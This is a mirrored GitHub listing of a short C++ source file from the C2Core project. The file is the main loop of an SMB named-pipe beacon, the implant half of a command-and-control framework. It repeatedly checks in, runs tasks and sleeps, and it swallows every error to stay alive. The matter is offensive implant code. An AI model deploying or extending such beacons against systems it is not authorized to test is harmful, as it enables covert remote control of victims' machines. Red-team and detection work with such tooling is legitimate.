mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
42 lines
624 B
C++
42 lines
624 B
C++
#include "BeaconSmb.hpp"
|
|
|
|
|
|
using namespace std;
|
|
|
|
|
|
int main(int argc, char* argv[])
|
|
{
|
|
std::string pipeName = "mynamedpipe";
|
|
if(argc > 1)
|
|
pipeName = argv[1];
|
|
|
|
std::unique_ptr<Beacon> beacon;
|
|
beacon = make_unique<BeaconSmb>(pipeName);
|
|
|
|
bool exit = false;
|
|
while (!exit)
|
|
{
|
|
try
|
|
{
|
|
beacon->checkIn();
|
|
|
|
exit = beacon->runTasks();
|
|
|
|
DEBUG("runTasks exit " << exit);
|
|
|
|
beacon->sleep();
|
|
}
|
|
catch(const std::exception& ex)
|
|
{
|
|
// std::cout << "Exeption " << ex.what() << std::endl;
|
|
}
|
|
catch (...)
|
|
{
|
|
// std::cout << "Exeption" << std::endl;
|
|
}
|
|
}
|
|
|
|
DEBUG("last checkIn");
|
|
|
|
beacon->checkIn();
|
|
} |